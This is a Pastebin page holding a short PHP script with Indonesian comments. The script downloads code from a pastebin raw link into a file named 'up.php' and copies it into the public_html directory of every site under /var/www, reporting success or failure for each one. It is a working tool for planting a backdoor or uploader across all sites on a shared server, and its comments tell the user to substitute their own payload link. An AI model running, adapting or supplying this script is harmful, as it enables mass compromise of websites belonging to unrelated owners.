Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $root = '/var/www';
- $scan = scandir($root);
- $nama = 'up.php'; // ganti nama file
- $isi = file_get_contents('https://pastebin.com/raw/2HyMM0F2'); // ganti link pastebin scriptmu
- $bikin = fopen($nama, "w");
- fwrite($bikin, $isi);
- fclose($bikin);
- foreach ( $scan as $a ) {
- $dir = "$a \n";
- $gas = $root.'/'.$a.'/public_html/'.$nama;
- $cos = "$gas \n";
- $asu = @copy($nama, $gas);
- if($asu) {
- print 'DONE COX => '.$cos; }
- else { print 'FAILED COX => '.$dir; }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement